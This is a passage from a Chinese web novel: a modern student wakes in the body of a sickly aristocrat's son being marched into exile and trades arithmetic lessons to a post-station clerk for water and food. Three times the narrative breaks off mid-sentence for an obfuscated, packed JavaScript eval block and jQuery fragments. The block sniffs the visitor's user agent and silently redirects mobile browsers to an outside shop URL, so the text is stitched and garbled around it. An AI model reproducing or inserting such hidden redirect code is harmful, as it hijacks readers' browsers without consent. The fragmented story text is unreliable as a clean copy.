《穿书后成了流放炮灰》
1. 第 1 章
烈日高悬,道路上的砂石晒得发烫,一支流放队伍艰难前进。
负责押送犯人的皂卒汗如雨下,也懒得费唇舌催促犯人走快点,看到停下来的就是一鞭子过去,让他们长长记性。
在鞭子的威慑下,能走动都还是尽量往前走,可一些实在支撑不住的,哪怕挨了几鞭子,可走动的速度也越来越慢了。
“张头,要不歇会,进点吃食,这日头太烈了,再走下去,兄弟们都熬不住啊。”有皂卒开口。
张头瞥了眼其他皂卒,一个个汗流浃背,面上发红,听到刚才的话都面露期待,显然也是吃不消了。
“行吧,那歇会。”张头一声令下,其他皂卒个个面带喜色。
不用皂卒驱赶,囚犯们听到可以歇脚,你推我搡地冲到树荫下抢位置,一个少年郎反应慢了些,被人撞倒在地。
皂卒没有多在意,只是等过了一阵,见此人还倒在地上没起,一个皂卒不耐烦地起身,一脚踹了过去。
“装什么死呢!”
粗暴的利喝伴随着小腿上的疼痛让姜淮醒了过来。
姜淮睁开眼睛,感受到腿上的酸胀,脑子有点蒙,他昨天是熬夜打游戏了,不是熬夜爬山了吧,怎么腿上一种运动过头的酸呢?
只是还记着刚才被人狠狠踹了一脚的事,姜淮有点生气,就算是喊他起来也不至于下死手啊。
姜淮含怒扭头看过去,日头高悬刺痛了眼睛,姜淮下意识眯起眼睛,定了定睛,看清皂卒的模样,愣住了。
“没死还不起来,浪费大爷时间。”皂卒见人没死,骂了两句就离开,毕竟休息的时间也有限,继续浪费下去也休息不了多久。
更何况他看姜淮脸色惨白如纸,一丝血色也无,以他押送囚犯的经验来看,活不了多久,何必浪费唇舌。
……
午时炽烈的日光落在身上,可姜淮只感觉全身发冷。
看着不远处狼狈落魄的囚犯,气势凶恶的皂卒,姜淮想说这是有人和他开玩笑,都无法说服自己,谁会找这么多专业演员来骗自己呢?
突然,一股记忆涌现,姜淮大脑一阵刺痛,下意识捂住脑袋。
将记忆消化完毕,姜淮木着一张脸,悬着的心彻底死了。
他真的穿越了。
原身也叫姜淮,出身世家,自幼锦衣玉食,可惜天有不测风云,姜家老太爷身为太子太傅,牵扯进太子谋逆案中,看在他以前教过皇帝的情分上,并没有直接处死,而是全族抄家流放。
原身是姜家三房独子,自然也在流放的范畴内,如今就被皂卒押送着前往边疆。
只是原身身体本就不太好,在牢里折腾一段时间后,又顶着烈日走了两日,身体到了极限,被推倒后身体内的灵魂就换成了他。
姜淮欲哭无泪,如果知道通宵熬夜玩游戏会穿越,他一定早睡早起。
可现在穿都穿了,再后悔也没用。
日头过于炙热,哪怕姜淮现在身心凉凉,可被烤一阵还是有些吃不消,勉强支撑着身体爬了起来。
看到一大群囚犯在树荫下挨挨挤挤的样子,姜淮没凑过去,踉踉跄跄地躲到一边的灌木下。
在姜淮的记忆中,这些囚犯不是什么好相与的人,原身因为没经验,被抢走过一次吃食。
要知道皂卒一天只发一次粮食,吃食被抢就要挨一天的饿,加上整日都在不停地前进,这也是原身身体迅速衰弱的原因。
姜淮不敢保证自己过去不会被抢。
不过一想到吃食,姜淮就感觉胃火烧火燎的,饿得人心慌,忽然想起什么,伸手朝着怀中摸去,摸出一张灰黄色的干饼子。
饼子不知道是用什么做的,粮食香气几近于无,看着也异常粗糙磨牙,捏起来硬邦邦的。上面还有一小块缺口,那是原身咬的,只是饼子太干太硬太糙,原身吃了一口就吃不下去。
回想起饼子的味道,姜淮说实话也有点吃不下去,但是挨饿的滋味太难受了,犹豫了一下,姜淮还是凑近饼子咬了一口。
饼子入口,姜淮觉得记忆还是过于美化了,口感粗糙喇嗓子,哪怕咀嚼了很多下,吞咽起来依旧困难。
至于味道,姜淮一时间都不知道怎么形容,只能让自己忽略味道,强行往胃里塞。
就刚才爬起来,姜淮都感觉手脚发软,不吃,他下午肯定是走不动路的,皂卒可不会由着他不动,姜淮还不想尝鞭子的味道。
连着几口饼子下肚,饥饿感得到了些微缓解,随之而来的是更加猛烈的干渴。
因为干粮的存在,姜淮下意识以为自己身上会有水壶,只是将全身找遍也没有找到水壶的存在。
姜淮意识到自己的猜测有误,重新翻阅了一下记忆,再次沉默。
流放的囚犯是没有水壶的,整个队伍里只有皂卒有,可皂卒怎么会让囚犯用自己的水壶呢。
囚犯渴了,只能在遇到溪涧河流时赶紧喝个饱,在路上遇到有水井的地方,若是皂卒去取水,也有机会赶紧喝个饱。
至于说驿站,驿站可以提供个睡觉休息的地,可想喝水,那是要给钱的。
而现在……
姜淮干咽了口唾沫,扭头朝一边看去,旁边有条小溪,是活水,不少囚犯都渴了,经过皂卒允许后,分批过去喝水。
溪流清澈见底,一眼看过去就知道水质不错,姜淮看着越发地干渴起来。
虽然喝溪水有感染寄生虫的危险,可看看头顶的烈日,再感受了一下喉咙的干渴程度,姜淮还是选择起身喝水。
寄生虫那是之后的事,现在不喝水,万一路上脱水,他现在的身体绝对扛不住。
……
囚犯们一个个的都渴得不行,有人甚至直接趴在溪流里大口地灌水,姜淮起身时,其他人都已经喝得差不多。
姜淮脚步迟缓地走到溪边,刚想掬起一捧水来喝,可手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376174|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一入水,姜淮就注意到上面的脏污。
想到自己地上趴的那阵子,姜淮深吸口气,让自己不要去想饼子上有没有沾灰,仔仔细细地将手洗干净。
虽然溪水也不干净,盛水的容器能洗干净还是干净点好。
姜淮掬起一捧水小口小口地喝了起来,清凉的溪水滋润干渴已久的喉咙。
喝了几口,姜淮还不忘把刚才没吃几口的饼子拿出来,几口饼子兑一口水,一点点地吃起饼子来。
姜淮本来是想留到晚上吃的,但刚才那几口干粮下肚,他就知道这饼子不配水喝的话很难下肚,或者说吃完也会渴得厉害,而那时还不知道有没有水喝。
还不如趁着现在有水,搭着吃下去,更容易吞咽,也少用几分咀嚼的力。
见姜淮在水边没动,不远处的张头皱起眉来,不过看姜淮只是蹲坐在水边吃饼子,没有什么别的小动作,便也没有起身。
若是换了别人,张头肯定是要过来驱赶的,但姜淮身体太差了,张头一眼看出,姜淮要想跑,跑不了几步就跑不动了,这烈日炎炎的,休息时间宝贵,也就懒得过去。
“张头,这世家小公子就是不一般啊,这吃点干饼子,姿态都不是常人能比的啊。”说话的皂卒眼神火热地盯着姜淮。
张头一眼认出说话的皂卒是何人,知晓对方好男风,眉头紧皱地提醒对方:“你小子可不要犯糊涂,别忘了,他身上背的可是谋逆之罪。”
虽说主犯是姜老太傅等长辈,但是作为姜家三房独子,姜淮身上背的罪名也是不轻的。
那种罪名轻点的流放囚犯,稍微做点出格的事都没什么,可姜淮身上这罪名,他们可以照常打骂,可要是弄出大麻烦来,没被上面知道还好,一旦泄露,结果如何不言而喻。
更何况像姜家这种情况,说是全族都下狱流放,谁知道有没有什么沾亲带故、现在不敢出手帮扶的亲朋好友,万一被人知晓,碾死他们如碾死蝼蚁一般。
孙勇被张头这么一说,心底有被戳破幻想的恼怒,也有被人看低的不甘心。
只是心中如何不甘,也不敢在张头面前表露出来,赔笑着道:“张头,您想哪去了,小弟不过是从未见过这种大家公子,有些新奇,哪里敢有别的想法。”
张头瞥了孙勇一眼,看出他口不对心,但也没有多说,他知道孙勇固然好.色,可脑袋还算清醒,不然也不能安稳地做这么久的皂卒。
不过……
张头抬头朝不远处看去。
溪流边,身形有些单薄的少年半跪坐着,眉目如画,双手捧着饼子,小小的咬一口,细细咀嚼几下,眉头微微蹙起,倒显出几分我见犹怜。
少年连吃了几口,似乎是有些噎了,微微俯身舀了一点水,凑到红润的唇边饮下,然后开始下一口。
身姿犹如刚抽条的翠竹,脆弱柔韧,却带着一股勃勃生机。
对某些人来说,确实诱人!
2. 第 2 章
夕阳西下,姜淮吃力的跟着前方队伍行走,哪怕做好了心理准备,可几个时辰走下来,还是让姜淮感受到流放的折磨。
鞋底异常单薄,被石子硌脚就算了,地面晒的滚烫,多走一会脚就烫麻了。
好不容易等烫习惯了,身体的疲惫又开始拖后腿,身子越来越沉,步子越迈越小,姜淮最后全靠不想挨鞭子的动力,才不至于落到最后面。
赶路是很累,可要挨鞭子,当时痛一下还不算完,等汗液腌到伤口,那就是持续的痛,更别说还有感染的风险。
最折磨的人还是口渴,因为没有水壶,途中也没有遇到补水点,姜淮走到后面口干舌燥,只能羡慕的看着皂卒们喝水。
好在因为中午喝的够多,暂时还没有出现脱水的症状,这算是唯一庆幸的地方。
忽的,姜淮发现队伍躁动起来,有些疑惑的抬头,一眼就看到不远处飘飞的旗帜,上面写着一个大大的驿字。
驿站到了!
姜淮眼睛瞬间亮了起来,到驿站就代表可以休息了。
张头见囚犯躁动,厉声呵斥了几声,才让囚犯们迅速安静下来,毕竟再不安静,接下来就不是呵斥,而是鞭子了。
张头领着一队人往驿站走,这么多人过来,驿站早就注意到了,立刻就有驿卒出来迎接。
张头上前交接,主要是让驿卒将牢房或者棚舍收拾出来,好将押送的囚犯关进去,其次便是让驿站准备一些明日分发的粮食,以及皂卒晚上要吃的饭食。
驿卒一边听着张头的吩咐,一边偷偷的瞧着要住进来的这些囚犯,眼珠滴溜溜的转,不知在想些什么。
……
驿卒领着一干囚犯往棚舍走,他们这边驿站小,所以没有专门的牢房,好在棚舍也还算坚固。
棚舍内铺着一些干草,显然,这些就是他们今晚的床铺了。
好在这些干草看着是新换的,还算干净,让姜淮松了口气。
虽然地方脏他也得睡,但是睡得可能就不太好,而晚上没休息好对于白天的赶路来说就很要命了。
进了棚舍,大门紧紧关了起来,姜淮找了个地方坐下来,忍不住抽气。
刚才一直站着,腿脚痛的有点麻木,可现在一坐下,酸胀疼痛感卷土重来,姜淮怀疑要现在还要走,自己大概是走不动了。
虽然手上没有什么力气,姜淮还是努力揉了揉腿,好让腿脚轻松一些。
不知道是揉起了用处,还是休息起了用处,过了一会,姜淮感觉腿脚是好受了些,只是干渴感就越发强烈。
听到门外的脚步声,姜淮下意识看过去,就发现刚刚离开的驿卒回来了,还是提着个水桶过来,姜淮忍不住咽了口口水。
其他囚犯也纷纷朝外看过去,眼中流露出渴望来,毕竟他们也渴了一下午。
驿卒对上众人渴望的眼神,嘿嘿一笑。
“这可是我辛辛苦苦提来的山泉水,甘甜无比,你们要是想喝,总得给点辛苦费吧。”驿卒明示道,换做是别的旅客,他必然不会说的这么不客气,可一群囚犯,有什么值得他小心的。
山泉水?
姜淮唇角微抽,这附近确实是有山,但是真山泉水,这驿卒也不可能给他们这群囚犯喝。
如果他没有记错的话,驿站外面似乎就有口井。
“这水过时不候,你们要是不买,那我就提回去了。”驿卒慢悠悠道。
好几个囚犯都咽了咽口水,只是他们实在是掏不出钱来,倒也不是真的没钱,只是身上藏的钱都是要到流放地用的,如今花一点少一点,用在水上,着实是有些舍不得。
等到明日,说不定路上又能碰上水源呢,这就又省了一笔钱,别看这买水的钱不多,可是这一路流放,不知何时就要用钱,更别说到了流放地,钱更是有大用处。
不过也有舍得花钱的,掏钱买了水,驿卒笑逐颜开,还拿了杯子给对方装水。
看到有人喝水,这对其他人的诱.惑又增加了一层。
有几个囚犯凑到一边窃窃私语,过了一会问驿卒:“这水我们几个人一起买,能不能算便宜点?”
驿卒瞅了眼棚舍内的其他人,确定现在这个价格卖不出多少水,想了想也只能降价,只是关于辛苦费几何,双方又是一顿掰扯。
刚才原价买水的囚犯看到其他人占了便宜,脸色有些难看,只是再难看也不敢对驿卒甩脸色,只能气闷的到一边去。
姜淮倒是也想凑着买水,只是摸摸身上,一文钱也没有,只能看着别人喝的开怀。
等到最后掰扯完,驿卒掐着手指算账,只是算了几遍,硬是得出了几个不同的数字,这显然是他算错了。
眼看驿卒一直掰着手指算账,越算越糊涂,姜淮忽然冒出一个主意,反正也没有损失,试试看吧。
“刚才的水价和原价比低了三分之一文,一共有十二个人买了,你要收二十文。”姜淮的嗓音略有些沙哑。
这话一下子就让驿卒的思路被打断,扭头朝着刚才发声的方向看去。
容貌俊美的少年郎倚墙而坐,脸上苍白,嘴唇显然因为缺水都显得格外干燥,只是眼神格外的澄澈。
“这二十文你怎么算出来的?”驿卒问。
姜淮看得出驿卒的算术并不好,尽量用简单易懂的话将如何计算水价解释了一遍。
驿卒照着姜淮说的自己也算了一遍,发现困扰他的问题很快就解了出来,脸上不禁露出一丝喜色。
账算好了,驿卒赶紧收钱卖水,期间还兜售了一下饭食,只是水价不低,而饭食的价格更高,这下囚犯中没几个人舍得买饭食。
哪怕驿卒不情愿的降了点价,可也只有一个囚犯买,确定自己是赚不到更多的钱了,驿卒清点了一下入袋的铜钱,这才重新转过头来看姜淮。
“你小子突然出声,想要什么,说吧。”驿卒看得出来姜淮必然是有所求,不然刚才也不会开口。
姜淮没有在意驿卒有些居高临下的态度,毕竟他现在的身份就是个被流放的囚犯,什么人都能低看他一眼。
“在下身无分文,只想讨一口水喝。”姜淮吞了口口水,他倒是也想吃饭,可就那一句话的帮助,也不值一顿饭啊。
“你算术不错?”驿卒没有接话,反问道。
姜淮不明所以的点点头。
驿卒盯着姜淮看了一会,当驿卒最大的一笔收入就赚过往旅客的钱,这钱必须当面算清楚,还要算的快,而等过后发现算少了,不认账的人也多,因为算账不准,驿卒都亏好几次了。
他看得出姜淮是出身大户人家,而刚才的讲解也证明了对方的算学还不错,起码教自己是绰绰有余了。
只是,对方愿不愿意教呢?
驿卒突然出声:“小子,你要是教我算术,我不光送你一份水,教的好还送你一份饭食,怎么样?”
其他囚犯本来在姜淮开口的时候都是当笑话看待,谁知道两人说话间,姜淮居然捞到了喝水不用花钱,甚至能得一份饭食的机会,顿时就让其他囚犯嫉妒起来。
姜淮没想到还有意外之喜,一口应了下来。
他现在虽然还没很饿,可在这流放路上,多吃一口饭,那就多一分生存下来的机会。
驿卒没想到姜淮居然这么爽快就答应了,有些措手不及。
驿卒见过一些大户人家出来的人,哪怕都落到了囚犯的境地,看他就像看脏东西,哪怕是花钱买吃的喝的,可依旧态度傲慢。
驿卒看了眼水桶,因为没有喝水的容器,其他囚犯都是用手掬水喝,水看着有点脏了。
驿卒转身去了外面,这次带回来的是一个茶壶。
外面看守的皂卒本来对驿卒这来来往往的有些不满,但是不知道驿卒说了什么,倒是让对方神情舒缓下来。
“小子,你先喝点水吧。”驿卒拎着茶壶道。
因为棚舍的栏杆只能伸出手,茶壶进不去,姜淮只能捧着茶壶,然后对着壶嘴喝水,不过比起用手掬水喝,多少还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376175|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
干净些。
茶水清凉,入喉微甜,比姜淮在路上喝过的溪水要好喝点,而且喝着安心点。
看得出姜淮很渴了,驿卒等了一会,姜淮也喝的差不多,将茶壶放到一边,准备开始讲课。
不过讲课之前,姜淮看着驿卒,问道:“我名姜淮,小哥不介意的话,可否告知姓名?”
驿卒愣了下,没想到姜淮会问这个,回道:“我叫王二。”
因为知道教学时间不会太长,姜淮先测了一下王二的算学水平,又确定了对方的薄弱项,再询问对方平日都需要算些什么账目后,略微思考一番后,就开始教学。
王二一开始还很紧张,担心姜淮教不好,也有点担心自己学不好,可随着日落月升,王二的眼睛越来越亮,感觉这桩生意做的可太划算了。
他曾经去私塾偷听过,但是私塾内先生讲解算学的内容他听不懂,还差点被人发现,也就断绝了偷学的心。
可现在姜淮教的他很快就懂了,而且姜淮还会用他平日的账目出题考他,错了就提点他是哪里出了问题,这样的老师上哪找去。
正说着说,姜淮的肚子忽的发出抗议声,姜淮有点尴尬,王二这才从教学中回过神来,意识到姜淮都没吃过饭,想起自己之前说的话,起身去拿饭食。
张头用过饭歇息一会,又到棚舍这边来转转,看看囚犯老不老实,只是一走近,就发现本该看守囚犯的两个皂卒竟然在一起拿着手指掰扯。
“干什么呢?”张头一声利喝,两个皂卒一个激灵,回头看到张头,立刻老实了。
张头朝棚舍内看了一眼,没有发现什么不对劲的,转而看向两个皂卒。
两个皂卒扛不住张头的眼神压力,老实交代起来,他们刚才看守无聊,见姜淮教王二算术,就听了一会。
结果越听越觉得这算术有用,就偷学起来,刚刚是给自己出了一道题,结果他们两个算出来的结果不一样,正在争论谁对谁错。
这是张头今天第二次听到姜淮的名字了。
张头忍不住朝棚舍内瞧了一眼,皎洁的月光下,少年郎的眉眼俊秀,有种不食人间烟火的贵气,不曾想如今也能为饭食躬身。
王二这时拿着饭食过来了,见到张头,脚步不由得顿住,他接近姜淮其实不合规矩,皂卒没说还好,可要是明确反对,他也不能对着干。
张头注意到王二,同时也看到他端着的饭食,很快就明白这饭食是给谁的,脚步微顿,然后朝外走去。
王二见状松了口气,赶紧给姜淮送饭去。
“你别看饭菜杂了点,我这要是拿出去卖,价格可是不便宜。”王二生怕姜淮不能领自己的情,解释道。
这些饭菜虽说是他从后厨端回来的剩菜,可油水比他刚才拿出来的卖的足多了,平时都是自己吃,或者藏点带回家去,这次要不是看姜淮教他很认真,他都舍不得给。
姜淮不自觉的吞了口口水,他其实不是很馋,但是身体太久没有吃过正常的有油水的饭菜了,意志很难控制住身体。
王二看姜淮这个馋样,得意一笑,觉得自己的心思没有白费,给姜淮递了筷子过去。
姜淮闻着饭菜香气,顶着身后其他囚犯嫉妒愤恨的眼神,大口扒了几口饭,又小口吃了起来。
不是姜淮不想吃快,只是这大晚上的吃饭本就不容易消化,自己这身体又不好,万一来个消化不.良就惨了,还不如吃慢点。
背后的那些目光王二也注意到了,凶狠的瞪了回去,其他囚犯虽然不至于怕得罪他,可也不敢在晚上闹事,只能缩了回去。
用过饭食,姜淮有些昏昏欲睡,之前不困是因为身体各种疲乏不适,加上还有正事要做,而现在,水足饭饱,困意悄然袭上心头。
干草铺在身下还算柔软,窝出一个合适的位置,姜淮沉沉睡去。
因为一天的劳累,姜淮睡的格外深沉,只是到了半夜,有皂卒发出惨叫,随后惊动了其他皂卒,整个驿站闹腾起来,姜淮也被迫惊醒。
3. 第 3 章
夜色沉沉,姜淮被惊醒后,先是感觉身上被晚风吹得有些冰凉,才注意到棚舍外格外的闹腾。
皂卒手上的灯笼映出昏暗的灯光,有人提着灯笼朝棚舍走来,手中的刀已经出鞘,其他囚犯都意识到可能发生什么大事了,一动都不敢动,生怕被皂卒们注意上。
姜淮蜷缩起身子,紧紧靠着墙壁,紧张地看着棚舍外。
明明进来时觉得棚舍是禁锢自由的牢房,可现在也只有棚舍能给他一点安全感。
来人围着棚舍转了一圈,似乎是在清点囚犯人数,几个原本躺着的囚犯见状赶紧坐起来,生怕对方没看到。
看着皂卒转了几圈,姜淮有些紧张,该不会是睡着的时候,有囚犯出逃吧。
姜淮忍不住用眼角余光瞟了一眼棚舍内的情况,可是光线太昏暗,加上他一路上也没有数这队囚犯有多少人,一眼看过去,什么也没看出来。
好在外面闹腾了一会后,有皂卒过来禀告,提灯笼的皂卒骂了一句蠢货,姜淮听声音才认出过来查看的皂卒是张头。
张头铁青着一张脸,刚才又皂卒发出惨叫,他还以为是有人袭击皂卒,怀疑是不是有人想趁机劫囚,整队皂卒都警惕了起来,谁知道,居然是一个蠢货半夜去茅厕摔断了腿。
现在折腾就算了,这个皂卒腿断了,他们也不可能带他上路,更不可能原地等他伤恢复,只能在当地补上。
只是流放如此长距离的皂卒哪这么好找,少不得要耽误几天。
张头啐了一口,回头看了眼棚舍,确定里面的囚犯数目没少,叮嘱看守的皂卒一定要小心看守,绝对不能疏忽后离开。
等到张头走了,其他囚犯才慢慢放松下来。
这么一番折腾下来,姜淮的睡意早就消失得无影无踪,只是看看天色,姜淮感觉离天亮还早,现在不睡,待会白天肯定会犯困,可白天哪里有机会让他睡觉,只能逼着自己睡觉,就算睡不着,闭眼休息也是好的。
不知道熬了多久,睡意才酝酿了出来,姜淮迷迷糊糊间看见天色微亮就失去了意识。
……
一觉睡得格外满足,姜淮醒来时还有点蒙,不知自己身在何处,直看到四周睡得横七竖八的囚犯,再看看头顶的木板,才清醒过来。
姜淮叹了口气,如果可以的话,他真希望这是做梦,等醒了他就回到现代了,他有点想念学校的宿舍食堂,舍友老师。
姜淮丧了一阵,勉强打起精神来,注意到日头已经升得老高。
按照前几天的经验,这时候都在路上走着了,现在居然还在棚舍躺着,也没有皂卒过来催着上路。
姜淮突然想到一桩事,紧张地朝着其他囚犯看去,见他们手上也什么都没有,这才松了口气。
虽然干饼子难吃,可也是食物,他万一睡着没有领到,那就得饿一天了。
“都过来拿干粮了啊。”有皂卒进来大喊了一声,一些原本还睡着的囚犯猛地惊醒。
姜淮在见皂卒提着干粮过来,早早凑了过去,皂卒看了他一眼,塞给他一个饼子。
而后其他囚犯一窝蜂的冲了过来,皂卒没有这个耐性塞了,直接将饼子一个个地丢了过去,眼疾手快的人能在饼子落地前抓住,反应慢点的就是只能从地上捡饼子了。
看到其他囚犯都开始吃饼子了,姜淮想了想也开始吃,只是饼子太干,没有水的情况下实在是噎人,姜淮吃了两口就纠结是现在吃,还是待会再吃。
毕竟他昨天晚上也吃过了,还不是很饿。
正纠结间,姜淮注意到有囚犯朝他走过来,下意识站了起来,警惕地看着来人。
来人盯着姜淮没吭声,忽地伸手朝姜淮手里的饼子抢去。
姜淮神经高度紧绷,他知道他不能退缩,也不能任由对方将他的饼子抢走,如果被抢走了,他少吃一天的饭,只会越来越虚弱,到时候很可能熬不过这场流放。
或许是因为对方饿着,而自己还饱的,姜淮发觉对方的动作其实是有些虚弱缓慢的,只是如果和对方对打的,不说输赢,起码是在消耗体内的能量,而且打的动静大了,说不定还会惹来皂卒,到时候一鞭子下来。
到了这种紧要关头,姜淮脑子转得飞快,目光落到了来人的腿上,松开抓着饼子的手,稳稳扶住身后的栏杆,然后毫不犹豫地朝着对方的小腿大力踹去。
来人看到姜淮松手,以为姜淮怯弱了,正想要去捡落下的饼子,剧痛从小腿袭来,身形不稳,重重地摔到了地方。
看着来人抱的小腿开始哀嚎,姜淮迅速捡起掉在地上的饼子,往旁边挪了几步,握住了栏杆,同时还不忘警惕地看着其他人。
确实有人蠢蠢欲动,在刚才这个囚犯动手时还后悔自己反应不过快,但是看到姜淮的反击,再看看地上抱着小腿哀嚎的男人,有些囚犯心里的小火苗一些被浇灭了。
为了一个饼子也不至于冒这么大风险。
有皂卒听到动静,探头看了一眼,虽然看到囚犯在地上哀嚎,但没闹出更大的动静,也懒得管。
嚎了好一会,囚犯才从地上爬起来,怨恨地看了姜淮一眼,眼中带着浓浓的不甘心,只是刚才那一脚实在是踹得太重,他就算有想法,也没有办法实现,只能一瘸一拐地往回走。
见囚犯放弃,姜淮才松了口气,若是对方还想要和他打,在对方有了防备之后,他也不知道自己的招数还能不能见效,毕竟他真的没有打架经验。
不过经此一遭,姜淮也不敢把饼子留到待会吃,现在人人都有饼子,其他都想抢,那等其他人都吃完了,说不定就是几个人过来抢了。
哪怕噎人,姜淮还是把饼子一点点地吃完了。
……
眼看着日头越升越高,气温也越来越高,可依旧没有皂卒过来喊人出发。
姜淮奇怪之余又有些庆幸,虽然晚上休息了这么久,但腿脚的酸胀难受依旧没有完全缓解,要是能多休息一会,那就最好。
而且这棚舍内虽然热,可在路上走那是又晒又热。
只是他们能在棚舍待多久呢,要是太晚出发,怕就要在野地过夜了。
姜淮前脚还在思考这个问题,没想到后脚就有人能回答。
王二过来了,眼底有些青黑,显然昨晚的事也打扰了他休息。
王二这次依旧是提着水和吃食过来的,吃食还是不好卖,尤其是刚刚吃过饼子,囚犯们都不舍得买,不过王二早就做好了卖不出去的准备,拿来的分量极少,主要还是水。
因着今天一直没有出发,昨天没有买水的囚犯也只能在王二这边买水了,只是有些囚犯想到昨天的价格,还是想要讲下价。
“降价?你们今日都走不了了,我这水可是独一份的,爱喝不喝,你不要,有的是人要。”王二脸冷了下来。
讲价的囚犯讪讪,只能原价买水。
但是其他囚犯却是注意到王二话里的意思,顿时兴奋起来。
虽然不知道是为什么不用走,可能休息谁不想休息呢。
王二卖完这一波水和饭食,见姜淮坐在一边,想到了什么,凑了过去。
“小子,你今天的水和饭我包了,你再教我一天。”王二说道。
今早驿站来了队新旅客,虽然只是路过,可他也卖了些吃食,用姜淮教的办法算起账来飞快。
既然知道姜淮是有点真本事,那得赶紧多学点,不然错过这次,去哪里找用点水和吃食就能教他的老师。
囚犯们羡慕嫉妒的目光如芒刺背,但姜淮完全没有在意这点,而是庆幸自己昨天冒险开口了。
不然身上没有钱买水,今天又没办法出门喝水,缺水就是一个巨大的难题。
更别说一系列的连锁反应,要是他昨天没有喝水吃饭,那今早肯定是虚弱得不行,并不会比抢他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376176|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那个囚犯好到哪里去,说不定连早上的饼子都保不住,更别说得到一天的水和饭食。
为了水和饭,姜淮教得格外卖力,王二也能感觉到姜淮的态度如何,觉得这门生意不亏。
两人一个教得认真,一个学得认真。
门口看守的皂卒也听得入神,哪怕他们没读过什么书,可也知道会算账的好处,起码在钱上不会让自己吃亏。
更何况这教学是王二用水和饭食换来的,他们一文钱都不用付也能听,这不就是占便宜了。
等张头领着新找来的皂卒过来时,先听到姜淮有些沙哑的声音,随后就发现他都过来了,可看守的皂卒因为听着棚舍内的讲课声没发现,脸上有些挂不住。
“两个孬货。”张头骂了一句,上去就是两脚。
新皂卒过来,他讲了一路押送囚犯要如何注意,如何小心,可这两个皂卒的表现等于将他说的话扔地上踩了,如何让张头不恼怒。
“王二,你来这作甚,这是你能来的地方?”对皂卒都这般态度,张头对王二就更加不客气了。
王二早就养出了厚脸皮,赔笑了几声,立刻起身,反正他也学得差不多了。
呵斥完王二,张头看向姜淮,眉头紧皱,下意识朝腰边摸去,却发现鞭子落在屋里,没有拿过来。
“都给老子老实点,别惹得吃鞭子。”张头这话虽然是对所有囚犯说的,但目光却是直直地看着姜淮。
而他身边的年轻皂卒,在看到姜淮的那一刻,瞳孔骤缩。
姜淮倒没有发现年轻皂卒的眼神变化,只注意到张头的动作,发现对方没有带鞭子,庆幸之余也有些紧张。
他之后要更加小心,这记鞭子肯定是被张头记下了,之后老实点,张头可能还不记得这事,要是动作出格了,可能要翻倍地还回来。
张头警告完,继续跟身后的年轻皂卒说起如何押送流放囚犯的细节,年轻皂卒默不作声地听着,表现得很是内敛。
不过张头反而很满意他这个表现,内敛点好啊,不会惹事,做事也更认真,这押送囚犯最要紧的就是认真。
“魏西,今日.你就看守棚舍,然后把这些囚犯的脸都记清楚了。”张头讲解完,就给年轻皂卒布置任务。
年轻皂卒闻言点点头,张头看了眼另外两个皂卒,倒也没有喊他们走,而是让他们教魏西认识棚舍内的囚犯,也算是将功补过。
两个皂卒连连保证,一定会让魏西将整队的囚犯都认清楚,张头这才离开,毕竟作为整个流放队伍的领头人,他还有别的事务要处理,虽说现在只是耽误了一天,可之后怎么将这耽误的一天补上,这都需要费心思量。
见到张头走了,两个皂卒才松了口气,看向魏西的脸色也不太好。
毕竟同为皂卒,他们在张头手下那是唯唯诺诺,这新来的凭什么这么受张头重视,因着他,还害他们挨了一顿责骂。
两人全然不顾是他们不恪尽职守,还是连着两次被张头逮到,只把一切错责都推到了魏西头上。
自然,也不会多认真地教魏西认人,只是喊了一声,让其他囚犯都站到栏杆这边来,才领着魏西上前,一个个名字喊了过去。
有时喊错了囚犯的名字,甚至过了几个人才说一句刚才喊错了,简单说了下名字就继续了。
“喏,这个是姜淮。”皂卒懒洋洋地指着姜淮道。
尽管皂卒只是说了姜淮的名字,可在听清姜淮的名字后,魏西,或者说废太子萧靖昭,就确定了姜淮的身份,不是长相相似,姜淮的确就是他知道的那个姜淮。
姜太傅宠爱的幼孙,原本会成为他的贴身伴读,可因着自幼身体不好,所以落选。
所以,姜淮认出他了吗?
萧靖昭状似不经意地瞥了眼姜淮,实则密切注意着姜淮的表现。若姜淮认出了他,哪怕姜淮是姜太傅的孙儿,他也不能留下他。
4. 第 4 章
姜淮哪里知道,眼前的新皂卒就是牵连姜家下狱流放的废太子,抬头让萧靖昭看了个清楚后就想低头。
这种仰着头让人辨认的感觉让姜淮感觉自己就像被关在笼子里的小猫小狗,等着买主的鉴赏挑选。
姜淮不太能控制表情,流露出来的情绪自然被萧靖昭捕捉,意识到姜淮现在并没有认出他,萧靖昭脚步微顿,继续往旁边走去。
